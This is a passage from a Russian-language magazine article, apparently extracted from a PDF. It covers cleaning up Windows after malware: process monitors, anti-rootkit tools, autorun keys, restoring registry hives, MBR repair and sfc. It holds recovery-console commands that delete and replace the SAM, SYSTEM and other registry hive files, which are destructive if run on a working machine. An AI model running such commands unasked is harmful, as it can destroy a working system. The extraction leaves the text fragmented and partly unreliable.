, который будет скры вать его дей ствия в сис теме.

Slammer

скры вать из области видимос ти
рут‐ 

кит
Итак, к нам на помощь при дут ути литы — самос тоятель ные и ком плексные

менед жеры  задач.  Пер вая  тул за,  которую  мы  рас смот рим,  —  это 
, бес плат ная  ути лит ка из набора  . По сути,  она объ‐ 

еди няет  в  себе сра зу  две дру гие  ути литы — FileMon  (монито ринг фай ловой
сис темы) и RegMon (монито ринг реес тра). Тул за пре дос тавля ет мощ ный инс‐ 
тру мент  для  монито рин га  фай ловой  сис темы,  сис темно го  реес тра,  а  так же
всех про цес сов в опе ратив ной памяти в реаль ном вре мени.

Process
Monitor SysInternals Suite

На  панели  есть  нес коль ко  инте рес ных  кно пок,  поз воля ющих  выпол нять
филь тра цию про цес сов и дей ствий сис темы по нуж ным нам кри тери ям:

show registry activity — прос мотр активнос ти реес тра (чте ние, запись клю‐ 
чей);

•

show file system activity — прос мотр дей ствия с фай лами (чте ние, запись);•
show network process activity — ана логич но по про цес сам, исполь зующим
сеть;

•

show process and thread — прос мотр про цес сов и нитей.•

Ра бочее окно ути литы Process Monitor

Вто рая, более наворо чен ная тул за — это  . Пред назна чена
для монито рин га про цес сов в сис теме. Поз воля ет не толь ко отсле дить про‐ 
цесс,  но  и  уточ нить,  какие  фай лы  и  пап ки  им  исполь зуют ся.  Фиш ка  прог‐ 
раммы в том, что тут же в рабочем окне мож но выделить про цесс и по щел чку
мыши про верить его на VirusTotal.

Process Explorer

Ра бочее окно ути литы Process Explorer

,  одна  из  излюблен ных  анти вирус ными  иссле дова теля ми
тулз,  обес печива ет  монито ринг  всех  про цес сов  в  сис теме,  отоб ража ет
деталь ную заг рузку памяти и фай ла под качки, работу про цес сора, драй веров,
откры тых соеди нений в сети и мно гое дру гое.

System  Explorer

Прос мотр спис ка про цес сов в System Explorer

В ути литу встро ена база дан ных — мож но про верить наличие вре донос ного
кода в кон крет ном фай ле и отпра вить на сер вер отчет VirusTotal.

Про вер ка про цес са на безопас ность в System Explorer

Тул за  поз воля ет  зак рыть  любой  про цесс  и  груп пу  свя зан ных  про цес сов,
которые  тор мозят  работу  сис темы  или  прог раммы,  прос мотреть  исто рию
дей ствий  для  любой  прог раммы.  Под держи вает ся  работа  с  пла гина ми.
Интерфейс раз делен на вклад ки,  каж дая из  которых пос вящена  кон крет ным
задачам. System Explorer поз воля ет управлять объ екта ми авто запус ка, прос‐ 
матри вать  и  опе ратив но  деин стал лировать  уста нов ленные  при ложе ния,
управлять служ бами Windows и мно гое дру гое.

Ре жим Explorer с более наг лядной фор мой вкла док

Тул за чет вертая — это  , пол ноцен ный менед жер задач,
который поз воля ет кон тро лиро вать все, что запуще но на компь юте ре, а так же
пре дос тавля ет  удоб ные инс тру мен ты для нас трой ки  компь юте ра. Тул за поз‐ 
воля ет  управлять  авто заг рузкой,  запущен ными  про цес сами,  сер висами
и драй верами и заменя ет дис петчер.

AnVir Task Manager

Спи сок про цес сов в AnVir Task Manager

Спи сок инстал лирован ных в сис тему драй веров в AnVir Task Manager

В самом прос том слу чае имя про цес са сов пада ет с име нем исходно го exe‐
фай ла,  который был запущен. Поэто му и самый прос той спо соб най ти мал‐ 
варь — это прос мотреть весь спи сок запущен ных про цес сов и обра тить вни‐ 
мание на те, которые вызыва ют подоз рения. Но есть и более слож ные ситу‐ 
ации, ког да вир мей керы исполь зуют сис темные име на, к при меру сис темных
служб  , или, хуже того, не соз дают новый про цесс, а 
код злов реда в легитим ный! Если такой про цесс завер шит часть фун кций, ОС
может  стать  недос тупна  или  вов се  воз никнет  RPC‐ошиб ка,  при водя щая
к  перезаг рузке.  Такую  фичу  исполь зовал  небезыз вес тный  червь  .
На глаз тут вре донос ный про цесс, конеч но же, не опре делишь, нуж ны инс тру‐ 
мен ты посерь езнее.

Svchost.exe ин жекти руют

Blaster

На  выруч ку  нам  при дет  ути лита  ,  раз работан ная  Оле гом  Зай цевым.
Это не анти вирус, но прог рамма содер жит в себе набор сиг натур наибо лее
извес тных чер вей, бэк доров и рут китов.

AVZ

Ос новное окно ути литы AVZ

По это му тул за может ска ниро вать опе ратив ную память и детек тировать ском‐ 
про мети рован ные про цес сы. Помимо это го, она име ет ряд кру тых фич: собс‐ 
твен ный драй вер для обна руже ния рут китов (kernel‐mode), кей лог геров и тро‐ 
янских DLL, пря мой дос туп к дис ку для работы с заб локиро ван ными фай лами
на  томах NTFS, в  том чис ле помеще ния их в  каран тин, ана лиза тор откры тых
пор тов TCP/UDP с целью обна руже ния RAT, ана лиза тор Winsock SPI/LSP кор‐ 
рек тнос ти сетевых нас тро ек, ана лиза тор мусор ных нас тро ек Internet Explorer,
а  так же  модуль  про вер ки  целос тнос ти  сис темно го  реес тра,  BHO,  рас‐ 
ширений IE и про вод ника (Explorer) и ана лиза тор всех дос тупных видов авто‐ 
запус ка.

Оп ции вос ста нов ления сис темы в AVZ

Прос мотр сетевых соеди нений в AVZ
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MALWARE

КАК НЕ ЗАРАЗИТЬСЯ
ЧТО ДЕЛАТЬ, ЕСЛИ ВИРУС ПРОНИК

КАК ВОССТАНОВИТЬ СИСТЕМУ ПОСЛЕ ПОБЕДЫ

•
•
•

 НАЧАЛО СТАТЬИ←

Охо та на невиди мок
Ре аль ную  проб лему  в  борь бе  с  мал варью  пред став ляют  поиск  и  обез вре‐ 
жива ние  рут китов,  пос коль ку  они  исполь зуют  осо бые  сис темные фичи,  нап‐ 
ример  перех ват  и  модифи кация  ,  под мена 
и  работа  в    с  мак сималь ными  при виле гиями,  что  помога ет  им
обой ти мно гие защит ные механиз мы.

сис темных  фун кций зап росов
ре жиме  ядра

Руч ной  поиск  тут  поч ти  безус пешен,  и  без  спе циаль ных  ути лит  нам
не обой тись. По некото рым методам работы анти рут киты близ ки к анти вирус‐ 
ным движ кам, так как могут испро бовать сиг натур ный и эвристи чес кий метод
детек тирова ния,  но  все  же  не  явля ются  анти вирус ным  ПО  в  при выч ном
понима нии.  Рас смот рим  нес коль ко  наибо лее  извес тных  и  широко  исполь‐ 
зуемых в прак тике инс тру мен тов.

RkUnhooker  —  одна  из  самых  мощ ных  тулз  для  обна руже ния  рут китов
и  борь бы  с  дру гими  вре доно сами.  Поз воля ет  обна ружи вать  и  сни мать
перех ваты таб лицы SDT и прог рам мно го кода, показы вает скры тые драй‐ 
веры,  про цес сы  и  фай лы.  Помимо  это го,  RkUnhooker  поз воля ет  уби вать
фай лы,  залочен ные  выпол няющим ся  про цес сом,  в  том  чис ле  с  переза‐ 
писью  пус тыми  дан ными  (что бы  пре дот вра тить  их  пов торный  запуск).
А еще мож но сни мать дам пы про цес сов из памяти и ана лизи ровать их.

•

Ок но с резуль татами поис ка рут китов в RkUnhooker

 —  доволь но  извес тная  ути лита,  которая,  помимо  основной  сво ей
фун кции, вклю чает набор инс тру мен тов, таких как мощ ный редак тор реес‐ 
тра,  показы вающий  скры тые  вет ки,  редак тор  жес тко го  дис ка,  редак тор
авто запус ка сис темы. Час то вмес те с GMER исполь зуют  . Эта
тул за ана лизи рует все запущен ные драй веры и про цес сы в сис теме, ищет
ано малии и дру гие осо бен ности, при сущие злов редным прог раммам.

• GMER

RootRepeal

Ок но с резуль татами поис ка рут китов в GMER

 — тоже извес тная тул за для обна руже ния и эффектив ного уда‐ 
ления  новых  поколе ний  тро янов,  исполь зующих  тех нологию  рут кит.  Как
заяв ляют  раз работ чики,  она  име ет  уни каль ные  методы  детек та.  Ищет
нежела тель ные  нас трой ки  поис ка  в  бра узе ре,  про веря ет  авто запуск
на наличие пос торон них прог рамм.

• UnHackMe

Ок но с резуль татами поис ка рут китов в UnHackMe

 — неболь шая прог рамма для обна руже ния и уда ления прос тей‐ 
ших  типов  вре донос ного  ПО.  Сей час  рас простра няет ся  по  лицен‐ 
зии GPLv2 и при над лежит анти вирус ной ком пании Trend Micro.

• HijackThis

Ок но с резуль татами поис ка рут китов в HijackThis

  —  оте чес твен ный  анти рут кит  от  «Лабора тории  Кас пер ско го».
Изна чаль но  соз давал ся  для  лечения  сис тем,  заражен ных  вре доно сами
семей ства Rootkit.Win32.TDSS. Сей час ути лита может най ти и обез вре дить
такие извес тные рут киты, как TDSS, SST, Pihar, ZeroAccess, Sinowal, Whistler,
Phanta, Trup, Stoned, Rloader, Cmoser, Cidox, и рут кит‐ано малии.

• TDSSKiller

Глав ное окно прог раммы TDSSKiller

Об наруже ние рут китов в TDSSKiller

 —  эффектив ный  инс тру мент  для  обна руже ния  и  уда ления
шпи онских  прог рамм  из  сис темы.  Исполь зует  свой  алго ритм  ска нера,
который  быс тро  находит  скры тые  про цес сы  Rootkit,  а  подоз ритель ные
DLL — во  всех  запущен ных  про цес сах. Выводит  про цес сы раз ными цве‐ 
тами  в  зависи мос ти  от  уров ня  угро зы,  что  очень  помога ет  иден тифици‐ 
ровать вре донос ные DLL.

• SpyDllRemover

Прос мотр подоз ритель ных про цес сов в SpyDllRemover

Чис тим авто запуск
Од на из фун кций мал вари — обес печить себе пов торный запуск пос ле вык‐ 
лючения или перезаг рузки машины. Наибо лее час то исполь зуемый метод —
это  про писать  исполня емый  файл  злов реда  в  .  Вари анты  здесь
раз личны:  это  может  быть  и  под мена  пути  в  ярлы ке,  уже  лежащем  в  авто‐ 
запус ке  по  пути 

, и наз начение авто мати чес ки выпол няемо го
задания в  ,  и  соз дание  клю чей  на  авто запуск  в 

:

ав тозапуск

%USERPROFILE%\AppData\Roaming\Microsoft\Windows\

Start Menu\Programs\Startup

Пла ниров щике Windows сис‐ 
темном реес тре

 — прог раммы, которые запус кают ся толь ко один раз,
ког да поль зователь вхо дит в сис тему;

• [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current­
Version\RunOnce]

 — прог раммы, которые запус кают ся при вхо де текуще го поль‐ 
зовате ля в сис тему;

• [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVer­
sion\Run]

  —  прог раммы,  которые  запус кают ся  толь ко  еди нож ды
при вхо де текуще го поль зовате ля в сис тему.

• [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVer­
sion\RunOnce]

Что у нас есть из тулз для это го слу чая? Пер вое — это прог рамма  ,
которая поз воля ет управлять авто заг рузкой в Windows. С ее помощью мож но
уви деть  все  прог раммы,  служ бы,  драй веры  и  коман дные  фай лы,  которые
будут запус кать ся вмес те с сис темой, а при необ ходимос ти — отклю чить их.

Autoruns

Глав ное окно ути литы Autoruns

Ска жем пару слов об интерфей се и вклад ках:
Everything — отоб ража ет все фай лы, которые будут запус кать ся авто мати‐ 
чес ки при заг рузке Windows;

•

Logon — содер жит все прог раммы, которые будут запус кать ся авто мати‐ 
чес ки;

•

Explorer — авто запуск всех эле мен тов про вод ника Windows;•
Internet  Explorer  —  все  надс трой ки  и  допол нения,  которые  уста нов лены
в Internet Explorer;

•

Scheduled Tasks — про цес сы, которые запус кают ся авто мати чес ки из дис‐ 
петче ра задач;

•

Services  —  фай лы  служб,  авто мати чес ки  запус каемые  при  заг рузке
машины;

•

Drivers — все фай лы, отно сящи еся к драй верам.•

Вос ста нав лива ем реестр
Ре естр  Windows,  начиная  с  самых  пер вых  вер сий  ОС,  оста ется  кри тичес ки
важ ным  ком понен том  сис темы,  по  сути  пред став ляя  собой  базу  дан ных
для  хра нения  раз личных  парамет ров  и  нас тро ек  рабоче го  окру жения,  уста‐ 
нов ленно го  ПО  и  самой Windows.  Логич но,  что  наруше ние  работы  реес тра
или  его  пов режде ние  гро зит  нерабо тос пособ ным  сос тоянием  ОС.  Сам
реестр, который откры вает ся штат ной ути литой  , физичес ки пред став‐ 
лен  нес коль кими  фай лами,  хра нящи мися  по  пути 

.  Это  фай лы  с  име нами  SYSTEM,  SOFTWARE,  SECURITY,  SAM,  DE‐
FAULT без рас ширений и дос тупные толь ко для сис темных про цес сов NT AU‐
THORITY\SYSTEM,  LocalSystem.  Но  если  реестр  откры вать  через  штат ный
редак тор, то эти фай лы пред ста нут в виде боль шого иерар хичес кого дерева.

regedit
%SystemRoot%\System32\

config\

Пер вое, что при ходит на ум, — это, конеч но же, сде лать бэкапы этих фай‐ 
лов  и  при  необ ходимос ти  прос то  заменить  битые  на  резер вные  копии.
Но из‐под заг ружен ной ОС прос тым копиро вани ем выпол нить это не удас тся,
а  экспорт  дан ных  с  исполь зовани ем  regedit  может  получить ся  непол ноцен‐ 
ным. Поэто му рас смот рим инс тру мен ты, которые помогут нам в этом деле.

Штат ные инс тру мен ты Windows для вос ста нов ления реес тра
«Из короб ки» Windows, к сожале нию, не име ет отдель ного инс тру мен та, поз‐ 
воля юще го делать резер вные копии реес тра. Все, что может дать сис тема, —
это фун кци ональ ность мораль но уста рев шей   родом из эпо хи Win‐
dows  XP  /  2003  Server  или  в  новых  ОС  Windows  7,  8,  10  ее  реин карна цию
в  виде  « »,  пред лага‐ 
ющей соз дать целиком образ сис темы (всей сис темы — не реес тра!). Поэто‐ 
му  рас смот рим  лишь  неболь шой  при мер  дей ствий  в  кон соли  вос ста нов‐ 
ления,  поз воля ющих  вос ста новить  реестр  вруч ную.  По  сути  это  опе рации
замены битых фай лов на инфи циро ван ной сис теме ори гиналь ными фай лами
реес тра из заранее сде лан ной резер вной копии.

NTBackUp

прог раммы  архи виро вания  и  вос ста нов ления  Windows

Ин терфейс ути литы NTBackUp

Заг рузив шись в   режиме с уста новоч ного дис ка или с локаль но уста‐ 
нов ленной  кон соли  вос ста нов ления  (для  XP/2003),  необ ходимо  выпол нить
сле дующие коман ды,  :

Live CD

опи сан ные самой Microsoft

// Создаем резервные копии реестра системы

md tmp

copy c:\windows\system32\config\system c:\windows\tmp\system.bak

copy c:\windows\system32\config\software c:\windows\tmp\software.bak

copy c:\windows\system32\config\sam c:\windows\tmp\sam.bak

copy c:\windows\system32\config\security c:\windows\tmp\security.bak

copy c:\windows\system32\config\default c:\windows\tmp\default.bak

// Удаляем битые файлы из системной директории ОС

delete c:\windows\system32\config\system

delete c:\windows\system32\config\software

delete c:\windows\system32\config\sam

delete c:\windows\system32\config\security

delete c:\windows\system32\config\default

// Копируем работоспособные файлы реестра из теневой копии

copy c:\windows\repair\system c:\windows\system32\config\system

copy c:\windows\repair\software c:\windows\system32\config\software

copy c:\windows\repair\sam c:\windows\system32\config\sam

copy c:\windows\repair\security c:\windows\system32\config\security

copy c:\windows\repair\default c:\windows\system32\config\default

Все, перезаг ружа ем машину и смот рим на резуль тат!

Прод винутые методы вос ста нов ления реес тра
Как мы  выяс нили,  у Windows  нет  дос той ного  инс тру мен та  управле ния  реес‐ 
тром. Поэто му пос мотрим, что же нам могут пред ложить сто рон ние про изво‐ 
дите ли.
•   пред став ляет  собой  бес плат ную  ути литу  резер вно го
копиро вания,  которая  исполь зует  служ бу 

 для резер вно го копиро вания сис темно го реес тра. Поз воля ет соз‐ 
давать резер вную копию и вос ста нав ливать из нее реестр.

Registry  Backup
Windows  Volume  Shadow  Copy

Service

•  — прог рамма не бес плат на, но нам все же хотелось бы о ней
рас ска зать.  Основная  ее  фун кция  —  пол ное  вос ста нов ление  опе раци‐ 
онной  сис темы Windows  в  слу чае  ее  кру шения.  Помимо  это го,  она  поз‐ 
воля ет делать резер вные копии важ ных сис темных фай лов и дру гих поль‐ 
зователь ских  дан ных.  Нес мотря  на  уста рев ший  интерфейс  в  сти ле
девянос тых, соф тина хорошо справ ляет ся со сво ими обя зан ностя ми.

WinRescue

Ин терфейс ути литы WinRescue for Windows 7

 —  воз можнос ти  дан ной  прог раммы  весь ма  обширны.  Тул за  поз‐ 
воля ет вос ста нав ливать реестр незави симо от работы ОС. Пос ле запус ка
прог раммы  сле дует  ука зать  раз делы  реес тра,  которые  нуж ны  для  сох‐ 
ранения  в  backup‐фай ле,  и  подож дать,  пока  ути лита  выпол нит  все  необ‐ 
ходимые  дей ствия.  Для  вос ста нов ления,  к  при меру,  незаг ружа ющей ся
Windows  7  понадо бит ся  внеш ний  ава рий ный  заг рузоч ный  диск —  тот  же
BartPE или Alkid Live CD. Но так же мож но исполь зовать и сре ду вос ста нов‐ 
ления.  В  этих  слу чаях  прог рамма  дол жна  быть  заранее  уста нов лена
на жес тком дис ке, а резер вная реес тра копия реес тра уже соз дана. Бэкап
реес тра неп лохо опи сан в этом  .

• ERUNT

ма нуале

GUI‐интерфейс ути литы ERUNT

Бе реже ного MBR бережет
Те перь мы погово рим о MBR. Ты пом нишь, что это вооб ще такое? Черес чур
углублять ся в  теорию не ста нем. В двух сло вах, MBR  (master boot  record) —
это  набор  кода  и  дан ных,  необ ходимых  для  пер воначаль ной  заг рузки  опе‐ 
раци онной сис темы с жес тко го дис ка. Поэто му MBR в рус ско языч ном вари‐ 
анте  час то  называ ют  прос то  заг рузоч ными  сек торами.  MBR  ука зыва ет
переход  в  тот  раз дел  жес тко го  дис ка,  с  которо го  сле дует  исполнять  даль‐ 
нейший код, в нашем слу чае — заг ружать ОС.

По чему  нам  это  важ но?  Да  потому,  что  мал варь  еще  с  эпо хи  MS‐DOS
девянос тых  годов  уме ла   не  толь ко исполня емые фай лы, но и
заг рузоч ные  сек тора,  обес печивая  таким  обра зом  себе  запуск  при  стар те
сис темы.  Для  защиты  от  подоб ного  вида  атак  в  BIOS  даже  появи лась  спе‐ 
циаль ная опция  , поз воля ющая защитить заг рузоч ный сек‐ 
тор жес тко го дис ка от изме нений на уров не мик рокода 

. Если алго ритм злов реда содер жал ошиб ки, то MBR пов реждал ся,
и заг рузка сис темы ста нови лась невоз можной. Но сущес тво вали и злов реды,
которые спе циаль но мог ли потереть заг рузоч ные сек тора.

ин фициро вать

Boot Virus Detection
ба зовой сис темы вво‐ 

да‐вывода

Де ло  в  том,  что  MBR  находит ся  в  «невиди мой  области»  жес тко го  дис ка
и  не  все ми  стан дар тны ми  средс тва ми  резер вирова ния  мож но  сде лать  его
бэкап.

Фик сим MBR в кон соли
В  эпо ху  Windows  XP  для  вос ста нов ления  сис темы  без  пере уста нов ки  час то
исполь зовалась  . Ее мож но было про инстал лировать
на хард и выбирать как вари ант запус ка при заг рузке машины или запус кать
с  уста новоч ного  дис ка  дан ной  ОС.  Кон соль  выруча ла,  ког да  при  заг рузке
появ лялось сооб щение   или были побиты сис темные фай лы
bootfont.bin,  ntbootdd.sys,  ntdetect.com  и  boot.ini.  Незави симо  от  при чины
в кон соли под ряд про писы вались коман ды

кон соль вос ста нов ления

NTLDR is missing

Fixmbr

Fixboot

Ко ман да fixmbr поз воляла най ти и авто мати чес ки испра вить ошиб ки в MBR.
Коман да  fixboot  помеча ла  раз дел  как  bootable,  про писы вала  заг рузчик  nt‐
loader в boot‐сек тор,  копиро вала на раз дел необ ходимые сис темные фай лы
и генери рова ла файл  . При сле дующем стар те сис тема,  как пра вило,
воз вра щалась в работос пособ ное сос тояние.

boot.ini

Вы зов справ ки по коман дам вос ста нов ления MBR в кон соли вос ста нов ‐
ления Windows

Прод винутые средс тва для вос ста нов ления MBR
Уни вер саль ным  вари антом  защиты  MBR  ста нет  соз дание  его  резер вной
копии и при необ ходимос ти вос ста нов ление ее на боевую сис тему. Пос коль‐ 
ку,  как мы уже говори ли, заг рузоч ные сек тора недос тупны для редак тирова‐ 
ния  из‐под  работа ющей  ОС,  необ ходимо  вос поль зовать ся  спе циаль ными
инс тру мен тами.

 — бес плат ная ути лита, пред назна чен ная для того, что бы
соз давать обра зы хар дов, их раз делов и, конеч но же, MBR. Нас в дан ном слу‐ 
чае будет инте ресо вать имен но MBR.

Comodo Backup

Ок но мас тера резер вно го копиро вания в Comodo Backup

Итак, запус каем тул зу в режиме Live CD, выбира ем опцию бэкапа mbr, далее
мес то сох ранения, и наша резер вная копия готова! Если на инфи циро ван ной
машине  будет  пов режден  заг рузчик,  мы  можем  прос то  его  вос ста новить,
опе рация занима ет все го нес коль ко минут.

Ес ли ты юза ешь Linux в качес тве ОС, то можешь вос поль зовать ся 
, име ется неп лохой   на при‐ 

мере Ubuntu.

встро‐ 
енны ми ути лита ми гайд по бэкапу MBR под Linux

Путь от MBR до UEFI и GPT
В 2010 году на сме ну мно го лет сущес тво вав шей клас сичес кой BIOS приш ла
новая  тех нология,  получив шая  наз вание  ,  а  вмес те  с  ней  и  изме нения
про цес са  заг рузки,  под талки вающие  нас  отка зывать ся  от  MBR  и  исполь‐ 
зовать  GPT.  UEFI —  это,  по  сути,  обер тка  или  интерфейс  меж ду ОC  и 

,  вши тым  в  чипы  материн ской  пла ты.  Поэто му  UEFI  при  ини циали‐ 
зации  заг рузки  исполь зует  не  клас сичес кий MBR,  а GPT. В  теорию воп роса
мы опять же не полезем, для тех, кто хочет поболь ше узнать, есть матери ал
« ».

UEFI

мик‐ 
рокодом

Срав нение струк тур раз делов GPT и MBR
Пос коль ку  струк тура  GPT  отли чает ся  от  струк туры  клас сичес кого  MBR,

сох ранить его опи сан ным выше спо собом не  удас тся. Выходом ста нет  соз‐ 
дание  цель ного  обра за  сис темы,  нап ример  штат ной  ути литой  «

»,  бес плат ным  набором
из    или  ком мерчес кой  прог раммой

. Но более под робно о  том,  как  сде лать бэкапы сис темы,
мы погово рим чуть ниже.

Ре зер вное
копиро вание  и  вос ста нов ление  дан ных  Windows

Paragon  Backup  &  Recovery  Free  Edition
Acronis True  Image

СПАСЕНИЕ СИСТЕМНЫХ ФАЙЛОВ

Не ред ко  мал варь  из‐за  содер жащих ся  в  ней  оши бок  или  соп ротив ляясь
лечению  пов режда ет  некото рые  сис темные  фай лы,  что  при водит  ОС
в нерабо тос пособ ное сос тояние. Пере уста нов ка ОС в дан ном слу чае не наш
выбор, так как это зай мет гораз до боль ше вре мени и, что немало важ но, зат‐ 
рет нас трой ки ПО и про чую цен ную информа цию. Поэто му вос ста нав ливать
сис тему нуж но точеч ными дей стви ями, то есть имен но в тех мес тах,  где она
была пов режде на.
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MALWARE

КАК НЕ ЗАРАЗИТЬСЯ
ЧТО ДЕЛАТЬ, ЕСЛИ ВИРУС ПРОНИК

КАК ВОССТАНОВИТЬ СИСТЕМУ ПОСЛЕ ПОБЕДЫ

•
•
•

 НАЧАЛО СТАТЬИ←

Про вер ка и вос ста нов ление сис темных фай лов Windows
Штат ная ути лита   сущес тву ет во всех вер сиях
Windows,  начиная  еще  с Windows  2000,  и  пред назна чена  она  для  про вер ки
сос тояния и вос ста нов ления сис темных фай лов. Механиз мы защиты важ ных
сис темных  фай лов  (обыч но  исполня емых  *.exe,  фай лов  биб лиотек  *.dll
и *.sys‐фай лов драй веров) про веря ют целос тность ука зан ных фай лов и, если
те пов режде ны или отсутс тву ют,  вос ста нав лива ют их до сос тояния по  умол‐ 
чанию.

SFC.EXE (System Files Checker)

На  прак тике  про верить  целос тность  сис темных  фай лов  Windows  мож но
с помощью коман ды кон соли

sfc /scannow

Но у   может не получить ся испра вить ошиб ки в сис темных фай‐ 
лах. В этом слу чае, как вари ант, ты можешь ввес ти в коман дной стро ке

sfc /scannow

findstr /c:"[SR]" %windir%\Logs\CBS\CBS.log >"%userprofile%\Desktop\
sfc.txt"

Эта  коман да  соз даст  тек сто вый  файл    на  тво ем  рабочем  сто ле
со  спис ком  фай лов,  испра вить  которые  не  уда лось.  Ты  можешь  его  прос‐ 
мотреть и при необ ходимос ти вруч ную ско пиро вать нуж ные фай лы с дру гого
компь юте ра  с  той  же  вер сией  Windows  или  с  ори гиналь ного  дис три бути ва
ОС.

sfc.txt

Ок но кон соли Windows с резуль татами выпол нения коман ды sfc

На ибо лее кри тич ные сис темные фай лы:
 — файл ядра опе раци онных сис тем семей ства Windows NT;• Ntoskrnl.exe

, или слой аппа рат ных абс трак ций, реали зован ный в сис темном ПО,
находит ся меж ду физичес ким уров нем аппа рат ного обес печения и прог‐ 
рам мным обес печени ем, запус каемым на этом компь юте ре;

• Hal.dll

 — динами чес ки под клю чаемая биб лиоте ка,  ядро всех вер сий
ОС Microsoft Windows. Содер жит базовые APIWin32, такие как управле ние
памятью, опе рации вво да‐вывода, соз дание про цес сов и потоков и фун‐ 
кции син хро низа ции;

• kernel32.dll

,  а  чуть поз днее  IA64ldr и Winload — заг рузчик опе раци онных сис‐ 
тем Windows NT;

• NTLDR

 — ком понент опе раци онных сис тем Microsoft семей ства Win‐
dows NT,  который  исполь зует ся  в  про цес се  запус ка Windows NT  до  вер‐ 
сии 6.0.

• ntdetect.com

На катим драй веры по‑быс тро му
Мал варь  может  инстал лировать  в  сис тему  свои  драй веры,  к  при меру
для перех вата дан ных, вве ден ных с кла виату ры, или для скры тия сле дов сво‐ 
его при сутс твия в инфи циро ван ной сис теме. Таким обра зом, она может уда‐ 
лить  ори гиналь ный  драй вер  или  некор рек тно  попыта ется  его  про пат чить.
Поэто му сей час речь пой дет о том, как по‐быс тро му вос ста новить ори гиналь‐ 
ное сос тояние работа ющих  в  сис теме драй веров. Луч шим вари антом будет
соз дать эта лон ный набор драй веров, инстал лирован ных в работа ющей сис‐ 
теме,  и  при  необ ходимос ти  не  ковырять  каж дый  по  отдель нос ти,  а  вос ста‐ 
новить их все разом. Для это го вос поль зуем ся нес коль кими тул зами.

  —  это  одна  из  луч ших  прог рамм  для  работы  с  драй верами.
Соф тинка  поз воля ет  искать  и  обновлять  любые  драй веры,  вос ста нав‐ 
ливать их из резер вных копий.

• SlimDrivers

Ок но ути литы SlimDrivers

  —  доволь но  малень кая  бес плат ная  ути лита  для  соз дания
резер вных  копий  драй веров.  Все,  что  нам  нуж но  сде лать,  —  это  архив
с драй верами с ори гиналь ной сис темы, сох ранить архив в надеж ном мес‐ 
те и, открыв в той же прог рамме, вос ста новить их обратно в сис тему. Все!

• Double  Driver

Ок но ути литы Double Driver

Фик сим про вод ник и дру гие ошиб ки сис темы
Да же  пос ле  вос ста нов ления  работос пособ ности  сис темы  и  уда ления  мал‐ 
вари  из  ОС  могут  остать ся  неп рият ные  сле ды  —  пос ледс твия  инфи циро‐ 
вания. К при меру, может про пасть ассо циация фай лов с нуж ной прог раммой,
будет заб локиро ван штат ный дис петчер задач Windows, недос тупен редак тор
реес тра  (regedit),  невоз можно  будет  открыть  панель  управле ния.  Что  же
с  этим  делать?  Прак тичес ки  все  изме нения  обра тимы.  Конеч но,  мож но
самос тоятель но  вруч ную  копать ся  в  реес тре,  искать  нуж ные  клю чи  кон‐ 
фигури рова ния  и  вос ста нав ливать  их,  про писы вая  зна чения  по  умол чанию,
но  мы  обра тим ся  за  помощью  к  спе циаль ным  тул зам,  заточен ным  под  это
дело. Итак, встре чай!
• Fix  for Windows — сбор ник  уни вер саль ных фик сов и пат чей для опе раци‐ 
онных сис тем Microsoft Windows. Ути лита под одним капотом объ еди няет
нес коль ко  бло ков  проб лем,  которые  могут  воз никнуть,  нап ример  фик сы
раз ложены  по  катего риям Boot,  Speed,  Desktop,  LAN, Other  и  так  далее.
Перехо дя от одной катего рии к дру гой, мож но ста вить чеки нап ротив тех
парамет ров,  которые  ты  хочешь  при вес ти  в  порядок,  нап ример  исправ‐ 
ление  проб лемы  с  кодиров кой  и  шриф тами,  вос ста нов ление  язы ковой
панели,  вклю чение/отклю чение  UAC,  вклю чение  отоб ражения  скры тых
фай лов.

•  — бес плат ная натив ная ути лита для устра нения непола‐ 
док  Windows,  пре пятс тву ющих  нор маль ной  работе  опе раци онной  сис‐ 
темы. Дан ный инс тру мент поможет выявить и решить самые рас простра‐ 
нен ные  проб лемы  с  прог рам мным  обес печени ем  Microsoft  и  сто рон них
раз работ чиков, вли яющие на штат ную работу сис темы.

Microsoft Easy Fix

Ок но ути литы Microsoft Easy Fix

  —  бес плат ная  прог рамма,  которая  поз воля ет  авто мати чес ки
испра вить мно гие надо едли вые ошиб ки, а так же решить дру гие проб лемы
с Windows, типич ные не толь ко для «десят ки». Тул за поз воля ет решать сле‐ 
дующие проб лемы с помощью под прог рамм с говоря щими наз вани ями:

• FixWin  10

  —  борет ся  с  ошиб ками  про вод ника  (не  запус кает ся
рабочий  стол  при  вхо де  в  Windows,  ошиб ки  WerMgr  и  WerFault,
не работа ет CD‐ и DVD‐при вод и дру гие);

• File  Explorer

 —  сетевые  проб лемы  (сброс DNS  и  про‐ 
токо ла TCP/IP, сброс фай рво ла, сброс Winsock и подоб ное);

• Internet and Connectivity

  —  ошиб ки  при  запус ке  сис темных  инс тру мен тов  Win‐
dows,  нап ример  дис петчер  задач,  коман дная  стро ка  или  редак тор
реес тра были отклю чены адми нис тра тором сис темы, отклю чены  точ ки
вос ста нов ления,  нас трой ки  безопас ности  сбро шены  на  нас трой ки
по умол чанию.

• System Tools

Ок но ути литы FixWin 10

 — бес плат ный и лег ко перено симый инс тру‐ 
мент для устра нения раз личных неис прав ностей сис темы. Тул за поз воля ет
вос ста нав ливать  парамет ры  Windows  к  их  зна чени ям  по  умол чанию,  что
во мно гих слу чаях помога ет испра вить боль шинс тво непола док, к при меру
такие ошиб ки, как невер ные пра ва дос тупа к фай лам, проб лемы с Windows
Update, штат ным фай рво лом, и мно гое дру гое.

• Windows Repair Portable Free

Не  быва ет  абсо лют но  защищен ных  сис тем.  Нес‐ 
мотря на  все пред при нятые меры безопас ности,
всег да есть риск,  что  угро за будет реали зова на.
Мал варь  может  исполь зовать  0day‐уяз вимость
или недоку мен тирован ные воз можнос ти ОС, пре‐ 
вен тивно защитить ся от которых не вый дет. Луч‐ 
шим вари антом стра хов ки будет регуляр ное соз‐ 
дание резер вных копий дан ных.

ЗАПУСКАЕМ СЕТЬ ПО-НОВОМУ

Ис ходя  из  заложен ных  в  нее  алго рит мов,  мал варь  может  манипу лиро вать
сетевы ми  нас трой ками  сис темы,  изме няя  мар шру тиза цию  тра фика,  под‐ 
делывать  раз решение  DNS‐имен  и  тому  подоб ное.  Соот ветс твен но,  в  этих
усло виях нес корые хос ты, веб‐сай ты и облачные сер висы могут стать недос‐ 
тупны или работать некор рек тно. Так же код мал вари может содер жать ошиб‐ 
